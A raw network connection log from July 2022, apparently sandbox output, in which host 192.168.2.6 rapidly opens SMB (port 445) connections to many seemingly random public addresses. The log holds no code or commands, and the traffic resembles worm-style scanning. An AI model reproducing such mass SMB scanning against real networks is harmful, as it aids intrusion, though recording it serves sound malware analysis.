Jul 20, 2022 06:08:51.426054955 CEST	56203	445	192.168.2.6	134.220.131.2
Jul 20, 2022 06:08:51.442250013 CEST	56376	445	192.168.2.6	178.159.42.107
Jul 20, 2022 06:08:51.443449974 CEST	56377	445	192.168.2.6	176.241.42.80
Jul 20, 2022 06:08:51.457067013 CEST	56204	445	192.168.2.6	134.220.131.2
Jul 20, 2022 06:08:51.470362902 CEST	445	56376	178.159.42.107	192.168.2.6
Jul 20, 2022 06:08:51.490622997 CEST	445	56377	176.241.42.80	192.168.2.6
Jul 20, 2022 06:08:51.522768974 CEST	445	56359	37.21.160.110	192.168.2.6
Jul 20, 2022 06:08:51.523137093 CEST	56359	445	192.168.2.6	37.21.160.110
Jul 20, 2022 06:08:51.628997087 CEST	445	56359	37.21.160.110	192.168.2.6
Jul 20, 2022 06:08:51.629232883 CEST	56359	445	192.168.2.6	37.21.160.110
Jul 20, 2022 06:08:51.737040043 CEST	445	56359	37.21.160.110	192.168.2.6
Jul 20, 2022 06:08:51.737154961 CEST	56359	445	192.168.2.6	37.21.160.110
Jul 20, 2022 06:08:51.941411972 CEST	56381	443	192.168.2.6	20.199.120.85
Jul 20, 2022 06:08:51.941456079 CEST	443	56381	20.199.120.85	192.168.2.6
Jul 20, 2022 06:08:51.941577911 CEST	56381	443	192.168.2.6	20.199.120.85
Jul 20, 2022 06:08:51.943099976 CEST	56381	443	192.168.2.6	20.199.120.85
Jul 20, 2022 06:08:51.943137884 CEST	443	56381	20.199.120.85	192.168.2.6
Jul 20, 2022 06:08:51.972723007 CEST	56376	445	192.168.2.6	178.159.42.107
Jul 20, 2022 06:08:52.004057884 CEST	56377	445	192.168.2.6	176.241.42.80
Jul 20, 2022 06:08:52.004290104 CEST	445	56376	178.159.42.107	192.168.2.6
Jul 20, 2022 06:08:52.051918030 CEST	56384	445	192.168.2.6	163.3.192.65
Jul 20, 2022 06:08:52.054389000 CEST	443	56381	20.199.120.85	192.168.2.6
Jul 20, 2022 06:08:52.054564953 CEST	56381	443	192.168.2.6	20.199.120.85
Jul 20, 2022 06:08:52.054975033 CEST	445	56377	176.241.42.80	192.168.2.6
Jul 20, 2022 06:08:52.058443069 CEST	56381	443	192.168.2.6	20.199.120.85
Jul 20, 2022 06:08:52.058458090 CEST	443	56381	20.199.120.85	192.168.2.6
Jul 20, 2022 06:08:52.058850050 CEST	443	56381	20.199.120.85	192.168.2.6
Jul 20, 2022 06:08:52.064069033 CEST	56390	445	192.168.2.6	138.161.28.80
Jul 20, 2022 06:08:52.064980030 CEST	56391	445	192.168.2.6	161.0.246.40
Jul 20, 2022 06:08:52.067698956 CEST	56381	443	192.168.2.6	20.199.120.85
Jul 20, 2022 06:08:52.067776918 CEST	56381	443	192.168.2.6	20.199.120.85
Jul 20, 2022 06:08:52.067791939 CEST	443	56381	20.199.120.85	192.168.2.6
Jul 20, 2022 06:08:52.068008900 CEST	56381	443	192.168.2.6	20.199.120.85
Jul 20, 2022 06:08:52.069031954 CEST	56392	445	192.168.2.6	62.236.219.187
Jul 20, 2022 06:08:52.070559978 CEST	56394	445	192.168.2.6	120.179.48.15
Jul 20, 2022 06:08:52.071928024 CEST	56396	445	192.168.2.6	120.169.166.249
Jul 20, 2022 06:08:52.074925900 CEST	56400	445	192.168.2.6	71.240.227.252
Jul 20, 2022 06:08:52.099128008 CEST	443	56381	20.199.120.85	192.168.2.6
Jul 20, 2022 06:08:52.099236012 CEST	443	56381	20.199.120.85	192.168.2.6
Jul 20, 2022 06:08:52.099330902 CEST	56381	443	192.168.2.6	20.199.120.85
Jul 20, 2022 06:08:52.099596977 CEST	56381	443	192.168.2.6	20.199.120.85
Jul 20, 2022 06:08:52.099613905 CEST	443	56381	20.199.120.85	192.168.2.6
Jul 20, 2022 06:08:52.133362055 CEST	56403	445	192.168.2.6	39.71.211.38
Jul 20, 2022 06:08:52.134135962 CEST	56404	445	192.168.2.6	30.18.182.156
Jul 20, 2022 06:08:52.166515112 CEST	56408	445	192.168.2.6	122.190.173.55
Jul 20, 2022 06:08:52.166899920 CEST	56414	445	192.168.2.6	42.157.201.180
Jul 20, 2022 06:08:52.166970015 CEST	56416	445	192.168.2.6	26.7.194.119
Jul 20, 2022 06:08:52.167162895 CEST	56418	445	192.168.2.6	53.116.20.176
Jul 20, 2022 06:08:52.167351961 CEST	56424	445	192.168.2.6	207.47.167.14
Jul 20, 2022 06:08:52.167604923 CEST	56429	445	192.168.2.6	26.135.183.28
Jul 20, 2022 06:08:52.167805910 CEST	56433	445	192.168.2.6	86.250.27.38
Jul 20, 2022 06:08:52.167920113 CEST	56437	445	192.168.2.6	84.174.4.119
Jul 20, 2022 06:08:52.167931080 CEST	56436	445	192.168.2.6	37.190.3.189
Jul 20, 2022 06:08:52.168173075 CEST	56435	445	192.168.2.6	98.235.11.5
Jul 20, 2022 06:08:52.480590105 CEST	56442	445	192.168.2.6	181.95.213.16
Jul 20, 2022 06:08:52.480829000 CEST	56446	445	192.168.2.6	118.248.238.171
Jul 20, 2022 06:08:52.480914116 CEST	56447	445	192.168.2.6	143.92.201.134
Jul 20, 2022 06:08:52.490027905 CEST	56453	445	192.168.2.6	53.32.213.135
Jul 20, 2022 06:08:52.520412922 CEST	56454	445	192.168.2.6	178.159.42.108
Jul 20, 2022 06:08:52.520951986 CEST	56455	445	192.168.2.6	107.186.37.16
Jul 20, 2022 06:08:52.521836996 CEST	56456	445	192.168.2.6	176.241.42.81
Jul 20, 2022 06:08:52.571712971 CEST	445	56456	176.241.42.81	192.168.2.6
Jul 20, 2022 06:08:52.692173958 CEST	445	56455	107.186.37.16	192.168.2.6
Jul 20, 2022 06:08:52.692611933 CEST	56455	445	192.168.2.6	107.186.37.16
Jul 20, 2022 06:08:52.693051100 CEST	56455	445	192.168.2.6	107.186.37.16
Jul 20, 2022 06:08:52.776036024 CEST	445	56442	181.95.213.16	192.168.2.6
Jul 20, 2022 06:08:52.863254070 CEST	445	56455	107.186.37.16	192.168.2.6
Jul 20, 2022 06:08:52.863915920 CEST	56455	445	192.168.2.6	107.186.37.16
Jul 20, 2022 06:08:53.034632921 CEST	445	56455	107.186.37.16	192.168.2.6
Jul 20, 2022 06:08:53.035016060 CEST	56455	445	192.168.2.6	107.186.37.16
Jul 20, 2022 06:08:53.082184076 CEST	56456	445	192.168.2.6	176.241.42.81
Jul 20, 2022 06:08:53.135685921 CEST	445	56456	176.241.42.81	192.168.2.6
Jul 20, 2022 06:08:53.178898096 CEST	56463	445	192.168.2.6	62.10.129.183
Jul 20, 2022 06:08:53.180193901 CEST	56464	445	192.168.2.6	138.34.114.188
Jul 20, 2022 06:08:53.180249929 CEST	56465	445	192.168.2.6	135.105.227.75
Jul 20, 2022 06:08:53.196536064 CEST	56471	445	192.168.2.6	211.172.250.3
Jul 20, 2022 06:08:53.197805882 CEST	56475	445	192.168.2.6	10.254.26.245
Jul 20, 2022 06:08:53.197907925 CEST	56478	445	192.168.2.6	50.142.23.169
Jul 20, 2022 06:08:53.198065996 CEST	56479	445	192.168.2.6	206.119.106.42
Jul 20, 2022 06:08:53.207638979 CEST	445	56455	107.186.37.16	192.168.2.6
Jul 20, 2022 06:08:53.270664930 CEST	56481	445	192.168.2.6	135.15.69.102
Jul 20, 2022 06:08:53.272989035 CEST	56482	445	192.168.2.6	42.16.49.40
Jul 20, 2022 06:08:53.280565023 CEST	56484	445	192.168.2.6	107.186.37.17
Jul 20, 2022 06:08:53.285295010 CEST	56442	445	192.168.2.6	181.95.213.16
Jul 20, 2022 06:08:53.286183119 CEST	56485	445	192.168.2.6	27.145.247.53
Jul 20, 2022 06:08:53.321764946 CEST	56493	445	192.168.2.6	116.209.163.253
Jul 20, 2022 06:08:53.321906090 CEST	56494	445	192.168.2.6	193.13.89.217
Jul 20, 2022 06:08:53.322113037 CEST	56499	445	192.168.2.6	162.234.223.103
Jul 20, 2022 06:08:53.322259903 CEST	56502	445	192.168.2.6	103.229.165.113
Jul 20, 2022 06:08:53.322442055 CEST	56506	445	192.168.2.6	80.150.104.67
Jul 20, 2022 06:08:53.322668076 CEST	56511	445	192.168.2.6	99.102.162.115
Jul 20, 2022 06:08:53.324794054 CEST	56513	445	192.168.2.6	196.12.187.126
Jul 20, 2022 06:08:53.324903965 CEST	56514	445	192.168.2.6	74.198.93.73
Jul 20, 2022 06:08:53.324989080 CEST	56515	445	192.168.2.6	19.138.247.215
Jul 20, 2022 06:08:53.450886011 CEST	445	56484	107.186.37.17	192.168.2.6
Jul 20, 2022 06:08:53.451020956 CEST	56484	445	192.168.2.6	107.186.37.17
Jul 20, 2022 06:08:53.451263905 CEST	56484	445	192.168.2.6	107.186.37.17
Jul 20, 2022 06:08:53.467299938 CEST	56518	445	192.168.2.6	107.186.37.17
Jul 20, 2022 06:08:53.587295055 CEST	445	56442	181.95.213.16	192.168.2.6
Jul 20, 2022 06:08:53.601213932 CEST	56527	445	192.168.2.6	176.241.42.82
Jul 20, 2022 06:08:53.603743076 CEST	56528	445	192.168.2.6	178.159.42.109
Jul 20, 2022 06:08:53.604780912 CEST	56529	445	192.168.2.6	203.36.207.192
Jul 20, 2022 06:08:53.604932070 CEST	56532	445	192.168.2.6	57.80.253.82
Jul 20, 2022 06:08:53.605057955 CEST	56534	445	192.168.2.6	222.165.193.201
Jul 20, 2022 06:08:53.614571095 CEST	56536	445	192.168.2.6	69.197.117.62
Jul 20, 2022 06:08:53.623099089 CEST	445	56484	107.186.37.17	192.168.2.6
Jul 20, 2022 06:08:53.623126030 CEST	445	56484	107.186.37.17	192.168.2.6
Jul 20, 2022 06:08:53.636888027 CEST	445	56528	178.159.42.109	192.168.2.6
Jul 20, 2022 06:08:53.644810915 CEST	445	56518	107.186.37.17	192.168.2.6
Jul 20, 2022 06:08:53.644948006 CEST	56518	445	192.168.2.6	107.186.37.17
Jul 20, 2022 06:08:53.645550966 CEST	56518	445	192.168.2.6	107.186.37.17
Jul 20, 2022 06:08:53.790216923 CEST	445	56534	222.165.193.201	192.168.2.6
Jul 20, 2022 06:08:53.819659948 CEST	445	56518	107.186.37.17	192.168.2.6
Jul 20, 2022 06:08:53.819955111 CEST	56518	445	192.168.2.6	107.186.37.17
Jul 20, 2022 06:08:53.832223892 CEST	56203	445	192.168.2.6	134.220.131.2
Jul 20, 2022 06:08:53.863488913 CEST	56204	445	192.168.2.6	134.220.131.2
Jul 20, 2022 06:08:53.995640039 CEST	445	56518	107.186.37.17	192.168.2.6
Jul 20, 2022 06:08:53.997230053 CEST	56518	445	192.168.2.6	107.186.37.17
Jul 20, 2022 06:08:54.144768000 CEST	56528	445	192.168.2.6	178.159.42.109
Jul 20, 2022 06:08:54.171722889 CEST	445	56518	107.186.37.17	192.168.2.6
Jul 20, 2022 06:08:54.174761057 CEST	445	56528	178.159.42.109	192.168.2.6
Jul 20, 2022 06:08:54.301013947 CEST	56534	445	192.168.2.6	222.165.193.201
Jul 20, 2022 06:08:54.469479084 CEST	56543	445	192.168.2.6	154.11.229.66
Jul 20, 2022 06:08:54.470434904 CEST	56545	445	192.168.2.6	172.191.115.107
Jul 20, 2022 06:08:54.471113920 CEST	56546	445	192.168.2.6	190.82.49.78
Jul 20, 2022 06:08:54.487946987 CEST	445	56534	222.165.193.201	192.168.2.6
Jul 20, 2022 06:08:54.504149914 CEST	56065	445	192.168.2.6	128.110.36.1
Jul 20, 2022 06:08:54.524761915 CEST	56552	445	192.168.2.6	218.56.51.125
Jul 20, 2022 06:08:54.524950027 CEST	56553	445	192.168.2.6	210.206.121.192
Jul 20, 2022 06:08:54.525028944 CEST	56554	445	192.168.2.6	163.229.118.171
Jul 20, 2022 06:08:54.525129080 CEST	56555	445	192.168.2.6	221.222.212.3
Jul 20, 2022 06:08:54.525333881 CEST	56562	445	192.168.2.6	81.240.148.151
Jul 20, 2022 06:08:54.525401115 CEST	56563	445	192.168.2.6	130.24.63.41
Jul 20, 2022 06:08:54.551060915 CEST	54584	445	192.168.2.6	165.3.39.1
Jul 20, 2022 06:08:54.584872007 CEST	56564	445	192.168.2.6	123.114.48.166
Jul 20, 2022 06:08:54.588562965 CEST	56572	445	192.168.2.6	89.27.146.112
Jul 20, 2022 06:08:54.589202881 CEST	56573	445	192.168.2.6	61.24.91.208
Jul 20, 2022 06:08:54.591566086 CEST	56578	445	192.168.2.6	15.180.236.18
Jul 20, 2022 06:08:54.592964888 CEST	56581	445	192.168.2.6	140.50.106.23
Jul 20, 2022 06:08:54.594800949 CEST	56585	445	192.168.2.6	34.109.250.61
Jul 20, 2022 06:08:54.597059011 CEST	56590	445	192.168.2.6	30.195.71.135
Jul 20, 2022 06:08:54.656631947 CEST	56592	445	192.168.2.6	118.24.64.173
Jul 20, 2022 06:08:54.658082008 CEST	56593	445	192.168.2.6	147.246.49.100
Jul 20, 2022 06:08:54.659176111 CEST	56594	445	192.168.2.6	77.159.172.230
Jul 20, 2022 06:08:54.665067911 CEST	56598	445	192.168.2.6	37.21.160.110
Jul 20, 2022 06:08:54.710493088 CEST	56603	445	192.168.2.6	176.241.42.83
Jul 20, 2022 06:08:54.723233938 CEST	56604	445	192.168.2.6	178.159.42.110
Jul 20, 2022 06:08:54.751446009 CEST	445	56604	178.159.42.110	192.168.2.6
Jul 20, 2022 06:08:54.774209976 CEST	445	56598	37.21.160.110	192.168.2.6
Jul 20, 2022 06:08:54.777808905 CEST	56598	445	192.168.2.6	37.21.160.110
Jul 20, 2022 06:08:54.791560888 CEST	56598	445	192.168.2.6	37.21.160.110
Jul 20, 2022 06:08:54.792241096 CEST	56605	445	192.168.2.6	170.144.117.193
Jul 20, 2022 06:08:54.795043945 CEST	56611	445	192.168.2.6	154.230.76.234
Jul 20, 2022 06:08:54.796983957 CEST	56615	445	192.168.2.6	3.103.239.186
Jul 20, 2022 06:08:54.797591925 CEST	56616	445	192.168.2.6	76.94.50.119
Jul 20, 2022 06:08:54.897058964 CEST	445	56598	37.21.160.110	192.168.2.6
Jul 20, 2022 06:08:54.899106026 CEST	445	56598	37.21.160.110	192.168.2.6
Jul 20, 2022 06:08:54.911076069 CEST	56598	445	192.168.2.6	37.21.160.110
Jul 20, 2022 06:08:55.023734093 CEST	445	56598	37.21.160.110	192.168.2.6
Jul 20, 2022 06:08:55.024032116 CEST	56598	445	192.168.2.6	37.21.160.110
Jul 20, 2022 06:08:55.135694027 CEST	445	56598	37.21.160.110	192.168.2.6
Jul 20, 2022 06:08:55.135900974 CEST	56598	445	192.168.2.6	37.21.160.110
Jul 20, 2022 06:08:55.243709087 CEST	445	56598	37.21.160.110	192.168.2.6
Jul 20, 2022 06:08:55.243875027 CEST	56598	445	192.168.2.6	37.21.160.110
Jul 20, 2022 06:08:55.269830942 CEST	56604	445	192.168.2.6	178.159.42.110
Jul 20, 2022 06:08:55.299279928 CEST	445	56604	178.159.42.110	192.168.2.6
Jul 20, 2022 06:08:55.355859041 CEST	445	56598	37.21.160.110	192.168.2.6
Jul 20, 2022 06:08:55.356025934 CEST	56598	445	192.168.2.6	37.21.160.110
Jul 20, 2022 06:08:55.721458912 CEST	56621	445	192.168.2.6	37.21.160.111
Jul 20, 2022 06:08:55.822259903 CEST	56622	445	192.168.2.6	176.241.42.84
Jul 20, 2022 06:08:55.824776888 CEST	56627	445	192.168.2.6	206.144.73.61
Jul 20, 2022 06:08:55.825323105 CEST	56628	445	192.168.2.6	143.215.212.196
Jul 20, 2022 06:08:55.825865030 CEST	56629	445	192.168.2.6	165.15.11.156
Jul 20, 2022 06:08:55.826399088 CEST	56630	445	192.168.2.6	139.102.117.223
Jul 20, 2022 06:08:55.830236912 CEST	56638	445	192.168.2.6	36.50.177.133
Jul 20, 2022 06:08:55.830800056 CEST	56639	445	192.168.2.6	205.62.91.211
Jul 20, 2022 06:08:55.833919048 CEST	56644	445	192.168.2.6	147.208.94.233
Jul 20, 2022 06:08:55.835325956 CEST	56647	445	192.168.2.6	140.96.154.197
Jul 20, 2022 06:08:55.837218046 CEST	56651	445	192.168.2.6	19.114.173.231
Jul 20, 2022 06:08:55.839553118 CEST	56656	445	192.168.2.6	73.174.154.191
Jul 20, 2022 06:08:55.842699051 CEST	56662	445	192.168.2.6	196.224.170.90
Jul 20, 2022 06:08:55.843240023 CEST	56663	445	192.168.2.6	73.84.22.30
Jul 20, 2022 06:08:55.843806982 CEST	56664	445	192.168.2.6	219.96.37.98
Jul 20, 2022 06:08:55.844341993 CEST	56665	445	192.168.2.6	22.25.200.232
Jul 20, 2022 06:08:55.847718954 CEST	56672	445	192.168.2.6	51.53.129.92
Jul 20, 2022 06:08:55.854398966 CEST	56673	445	192.168.2.6	15.74.59.130
Jul 20, 2022 06:08:55.855005980 CEST	56674	445	192.168.2.6	117.234.254.247
Jul 20, 2022 06:08:55.856038094 CEST	56676	445	192.168.2.6	177.169.41.55
Jul 20, 2022 06:08:55.856580973 CEST	56677	445	192.168.2.6	65.199.59.30
Jul 20, 2022 06:08:55.858742952 CEST	56681	445	192.168.2.6	178.159.42.111
Jul 20, 2022 06:08:55.944612980 CEST	56685	445	192.168.2.6	162.60.81.77
Jul 20, 2022 06:08:55.947799921 CEST	56691	445	192.168.2.6	50.211.216.48
Jul 20, 2022 06:08:55.949693918 CEST	56695	445	192.168.2.6	64.222.216.83
Jul 20, 2022 06:08:55.950232029 CEST	56696	445	192.168.2.6	123.3.88.178
Jul 20, 2022 06:08:56.410653114 CEST	54563	445	192.168.2.6	165.3.39.213
Jul 20, 2022 06:08:56.410890102 CEST	56064	445	192.168.2.6	165.3.39.1
Jul 20, 2022 06:08:56.578874111 CEST	445	56064	165.3.39.1	192.168.2.6
Jul 20, 2022 06:08:56.579058886 CEST	56064	445	192.168.2.6	165.3.39.1
Jul 20, 2022 06:08:57.027038097 CEST	56064	445	192.168.2.6	165.3.39.1
Jul 20, 2022 06:08:57.138957977 CEST	56700	445	192.168.2.6	176.241.42.85
Jul 20, 2022 06:08:57.139712095 CEST	56701	445	192.168.2.6	37.21.160.112
Jul 20, 2022 06:08:57.141632080 CEST	56702	445	192.168.2.6	178.159.42.112
Jul 20, 2022 06:08:57.169433117 CEST	445	56702	178.159.42.112	192.168.2.6
Jul 20, 2022 06:08:57.191032887 CEST	445	56700	176.241.42.85	192.168.2.6
Jul 20, 2022 06:08:57.335711956 CEST	56706	445	192.168.2.6	11.104.21.49
Jul 20, 2022 06:08:57.335815907 CEST	56707	445	192.168.2.6	117.144.224.150
Jul 20, 2022 06:08:57.335882902 CEST	56708	445	192.168.2.6	98.227.128.42
Jul 20, 2022 06:08:57.335980892 CEST	56709	445	192.168.2.6	219.54.241.14
Jul 20, 2022 06:08:57.336213112 CEST	56716	445	192.168.2.6	133.143.175.185
Jul 20, 2022 06:08:57.336379051 CEST	56721	445	192.168.2.6	112.75.49.197
Jul 20, 2022 06:08:57.336461067 CEST	56722	445	192.168.2.6	178.1.146.149
Jul 20, 2022 06:08:57.336563110 CEST	56724	445	192.168.2.6	167.8.50.66
Jul 20, 2022 06:08:57.336819887 CEST	56732	445	192.168.2.6	52.222.74.214
Jul 20, 2022 06:08:57.337035894 CEST	56733	445	192.168.2.6	34.133.54.38
Jul 20, 2022 06:08:57.337357998 CEST	56738	445	192.168.2.6	198.200.103.124
Jul 20, 2022 06:08:57.337536097 CEST	56745	445	192.168.2.6	5.92.111.45
Jul 20, 2022 06:08:57.337698936 CEST	56748	445	192.168.2.6	18.108.110.25
Jul 20, 2022 06:08:57.337735891 CEST	56749	445	192.168.2.6	88.120.69.79
Jul 20, 2022 06:08:57.337927103 CEST	56755	445	192.168.2.6	116.206.109.146
Jul 20, 2022 06:08:57.338027000 CEST	56757	445	192.168.2.6	32.32.185.151
Jul 20, 2022 06:08:57.338145971 CEST	56759	445	192.168.2.6	14.209.151.197
Jul 20, 2022 06:08:57.338227034 CEST	56760	445	192.168.2.6	19.85.241.36
Jul 20, 2022 06:08:57.338368893 CEST	56763	445	192.168.2.6	142.132.79.202
Jul 20, 2022 06:08:57.338469028 CEST	56766	445	192.168.2.6	32.65.17.80
Jul 20, 2022 06:08:57.338624954 CEST	56770	445	192.168.2.6	165.198.125.167
Jul 20, 2022 06:08:57.338820934 CEST	56775	445	192.168.2.6	203.81.236.143
Jul 20, 2022 06:08:57.344111919 CEST	56780	445	192.168.2.6	107.186.37.17
Jul 20, 2022 06:08:57.518038988 CEST	445	56780	107.186.37.17	192.168.2.6
Jul 20, 2022 06:08:57.518172979 CEST	56780	445	192.168.2.6	107.186.37.17
Jul 20, 2022 06:08:57.540492058 CEST	445	56755	116.206.109.146	192.168.2.6
Jul 20, 2022 06:08:57.558620930 CEST	56780	445	192.168.2.6	107.186.37.17
Jul 20, 2022 06:08:57.723200083 CEST	56700	445	192.168.2.6	176.241.42.85
Jul 20, 2022 06:08:57.729440928 CEST	445	56780	107.186.37.17	192.168.2.6
Jul 20, 2022 06:08:57.730349064 CEST	56780	445	192.168.2.6	107.186.37.17
Jul 20, 2022 06:08:57.774709940 CEST	445	56700	176.241.42.85	192.168.2.6
Jul 20, 2022 06:08:57.786170959 CEST	56702	445	192.168.2.6	178.159.42.112
Jul 20, 2022 06:08:57.813901901 CEST	445	56702	178.159.42.112	192.168.2.6
Jul 20, 2022 06:08:57.901199102 CEST	445	56780	107.186.37.17	192.168.2.6
Jul 20, 2022 06:08:57.901352882 CEST	56780	445	192.168.2.6	107.186.37.17
Jul 20, 2022 06:08:58.072141886 CEST	445	56780	107.186.37.17	192.168.2.6
Jul 20, 2022 06:08:58.132810116 CEST	56781	445	192.168.2.6	107.186.37.18
Jul 20, 2022 06:08:58.193136930 CEST	56783	445	192.168.2.6	178.159.42.113
Jul 20, 2022 06:08:58.193840027 CEST	56784	445	192.168.2.6	37.21.160.113
Jul 20, 2022 06:08:58.194490910 CEST	56785	445	192.168.2.6	176.241.42.86
Jul 20, 2022 06:08:58.223253965 CEST	56755	445	192.168.2.6	116.206.109.146
Jul 20, 2022 06:08:58.248836994 CEST	445	56785	176.241.42.86	192.168.2.6
Jul 20, 2022 06:08:58.301945925 CEST	445	56781	107.186.37.18	192.168.2.6
Jul 20, 2022 06:08:58.302062035 CEST	56781	445	192.168.2.6	107.186.37.18
Jul 20, 2022 06:08:58.302732944 CEST	56781	445	192.168.2.6	107.186.37.18
Jul 20, 2022 06:08:58.305895090 CEST	56786	445	192.168.2.6	107.186.37.18
Jul 20, 2022 06:08:58.424007893 CEST	445	56755	116.206.109.146	192.168.2.6
Jul 20, 2022 06:08:58.471678972 CEST	445	56781	107.186.37.18	192.168.2.6
Jul 20, 2022 06:08:58.471741915 CEST	445	56781	107.186.37.18	192.168.2.6
Jul 20, 2022 06:08:58.476562977 CEST	445	56786	107.186.37.18	192.168.2.6
Jul 20, 2022 06:08:58.476684093 CEST	56786	445	192.168.2.6	107.186.37.18
Jul 20, 2022 06:08:58.507487059 CEST	56786	445	192.168.2.6	107.186.37.18
Jul 20, 2022 06:08:58.523086071 CEST	56791	445	192.168.2.6	182.120.193.195
Jul 20, 2022 06:08:58.523488998 CEST	56801	445	192.168.2.6	175.135.15.113
Jul 20, 2022 06:08:58.523684025 CEST	56803	445	192.168.2.6	80.134.2.161
Jul 20, 2022 06:08:58.524811983 CEST	56808	445	192.168.2.6	38.9.137.105
Jul 20, 2022 06:08:58.524983883 CEST	56810	445	192.168.2.6	26.119.239.254
Jul 20, 2022 06:08:58.525161028 CEST	56812	445	192.168.2.6	149.162.2.12
Jul 20, 2022 06:08:58.525274992 CEST	56813	445	192.168.2.6	102.180.86.166
Jul 20, 2022 06:08:58.525409937 CEST	56815	445	192.168.2.6	157.108.112.221
Jul 20, 2022 06:08:58.525628090 CEST	56819	445	192.168.2.6	99.16.226.241
Jul 20, 2022 06:08:58.525851965 CEST	56823	445	192.168.2.6	173.219.206.200
Jul 20, 2022 06:08:58.526130915 CEST	56828	445	192.168.2.6	55.37.204.254
Jul 20, 2022 06:08:58.526796103 CEST	56838	445	192.168.2.6	197.21.215.107
Jul 20, 2022 06:08:58.526905060 CEST	56839	445	192.168.2.6	182.71.126.164
Jul 20, 2022 06:08:58.534214973 CEST	56842	445	192.168.2.6	43.40.193.56
Jul 20, 2022 06:08:58.534321070 CEST	56843	445	192.168.2.6	20.205.122.146
Jul 20, 2022 06:08:58.534440994 CEST	56844	445	192.168.2.6	210.218.17.114
Jul 20, 2022 06:08:58.534579039 CEST	56846	445	192.168.2.6	194.43.241.4
Jul 20, 2022 06:08:58.535031080 CEST	56853	445	192.168.2.6	12.154.204.146
Jul 20, 2022 06:08:58.535234928 CEST	56858	445	192.168.2.6	90.218.69.14
Jul 20, 2022 06:08:58.535366058 CEST	56859	445	192.168.2.6	189.185.99.152
Jul 20, 2022 06:08:58.535473108 CEST	56860	445	192.168.2.6	196.112.118.244
Jul 20, 2022 06:08:58.535864115 CEST	56862	445	192.168.2.6	51.147.185.236
Jul 20, 2022 06:08:58.678662062 CEST	445	56786	107.186.37.18	192.168.2.6
Jul 20, 2022 06:08:58.684182882 CEST	56786	445	192.168.2.6	107.186.37.18
Jul 20, 2022 06:08:58.726433992 CEST	56203	445	192.168.2.6	134.220.131.2
Jul 20, 2022 06:08:58.726454020 CEST	56204	445	192.168.2.6	134.220.131.2
Jul 20, 2022 06:08:58.778383970 CEST	445	56839	182.71.126.164	192.168.2.6
Jul 20, 2022 06:08:58.785784960 CEST	56785	445	192.168.2.6	176.241.42.86
Jul 20, 2022 06:08:58.839994907 CEST	445	56785	176.241.42.86	192.168.2.6
Jul 20, 2022 06:08:58.856945992 CEST	445	56786	107.186.37.18	192.168.2.6
Jul 20, 2022 06:08:58.857139111 CEST	56786	445	192.168.2.6	107.186.37.18
Jul 20, 2022 06:08:59.031217098 CEST	445	56786	107.186.37.18	192.168.2.6
Jul 20, 2022 06:08:59.272701025 CEST	56865	445	192.168.2.6	176.241.42.87
Jul 20, 2022 06:08:59.274035931 CEST	56866	445	192.168.2.6	178.159.42.114
Jul 20, 2022 06:08:59.275187969 CEST	56867	445	192.168.2.6	37.21.160.114
Jul 20, 2022 06:08:59.285907984 CEST	56839	445	192.168.2.6	182.71.126.164
Jul 20, 2022 06:08:59.301641941 CEST	445	56866	178.159.42.114	192.168.2.6
Jul 20, 2022 06:08:59.537281990 CEST	445	56839	182.71.126.164	192.168.2.6
Jul 20, 2022 06:08:59.674149036 CEST	56873	445	192.168.2.6	107.211.46.22
Jul 20, 2022 06:08:59.674376011 CEST	56881	445	192.168.2.6	61.109.146.162
Jul 20, 2022 06:08:59.674474955 CEST	56883	445	192.168.2.6	145.198.85.235
Jul 20, 2022 06:08:59.674504042 CEST	56885	445	192.168.2.6	176.94.250.254
Jul 20, 2022 06:08:59.674729109 CEST	56890	445	192.168.2.6	93.95.32.206
Jul 20, 2022 06:08:59.674757004 CEST	56889	445	192.168.2.6	197.205.6.99
Jul 20, 2022 06:08:59.674886942 CEST	56893	445	192.168.2.6	211.81.244.49
Jul 20, 2022 06:08:59.674946070 CEST	56894	445	192.168.2.6	183.147.214.207
Jul 20, 2022 06:08:59.675013065 CEST	56895	445	192.168.2.6	106.142.155.27
Jul 20, 2022 06:08:59.675610065 CEST	56900	445	192.168.2.6	168.21.80.167
Jul 20, 2022 06:08:59.675779104 CEST	56905	445	192.168.2.6	33.45.160.94
Jul 20, 2022 06:08:59.675918102 CEST	56909	445	192.168.2.6	142.7.184.187
Jul 20, 2022 06:08:59.676217079 CEST	56918	445	192.168.2.6	182.3.66.229
Jul 20, 2022 06:08:59.676276922 CEST	56919	445	192.168.2.6	5.152.229.98
Jul 20, 2022 06:08:59.685296059 CEST	56922	445	192.168.2.6	147.238.123.113
Jul 20, 2022 06:08:59.685425043 CEST	56925	445	192.168.2.6	65.27.226.100
Jul 20, 2022 06:08:59.685511112 CEST	56926	445	192.168.2.6	17.73.231.117
Jul 20, 2022 06:08:59.685600996 CEST	56929	445	192.168.2.6	2.178.244.15
Jul 20, 2022 06:08:59.685798883 CEST	56935	445	192.168.2.6	174.246.41.22
Jul 20, 2022 06:08:59.685976028 CEST	56940	445	192.168.2.6	68.82.101.185
Jul 20, 2022 06:08:59.686052084 CEST	56941	445	192.168.2.6	150.223.26.138
Jul 20, 2022 06:08:59.686136961 CEST	56943	445	192.168.2.6	109.224.181.250
Jul 20, 2022 06:08:59.686223984 CEST	56945	445	192.168.2.6	161.7.211.120
Jul 20, 2022 06:08:59.926503897 CEST	56866	445	192.168.2.6	178.159.42.114
Jul 20, 2022 06:08:59.955424070 CEST	445	56866	178.159.42.114	192.168.2.6
Jul 20, 2022 06:09:00.349899054 CEST	56947	445	192.168.2.6	178.159.42.115
Jul 20, 2022 06:09:00.349986076 CEST	56948	445	192.168.2.6	176.241.42.88
Jul 20, 2022 06:09:00.349992990 CEST	56949	445	192.168.2.6	37.21.160.115
Jul 20, 2022 06:09:00.825402021 CEST	56956	445	192.168.2.6	208.155.195.205
Jul 20, 2022 06:09:00.825489044 CEST	56960	445	192.168.2.6	159.32.11.244
Jul 20, 2022 06:09:00.825529099 CEST	56962	445	192.168.2.6	156.196.218.197
Jul 20, 2022 06:09:00.825706005 CEST	56966	445	192.168.2.6	169.183.249.252
Jul 20, 2022 06:09:00.825862885 CEST	56967	445	192.168.2.6	216.65.234.172
Jul 20, 2022 06:09:00.825872898 CEST	56970	445	192.168.2.6	39.231.203.148
Jul 20, 2022 06:09:00.826323986 CEST	56982	445	192.168.2.6	90.129.191.155
Jul 20, 2022 06:09:00.826343060 CEST	56981	445	192.168.2.6	170.57.94.198
Jul 20, 2022 06:09:00.826550007 CEST	56985	445	192.168.2.6	169.21.143.47
Jul 20, 2022 06:09:00.826564074 CEST	56976	445	192.168.2.6	79.97.146.177
Jul 20, 2022 06:09:00.826581955 CEST	56986	445	192.168.2.6	73.101.125.250
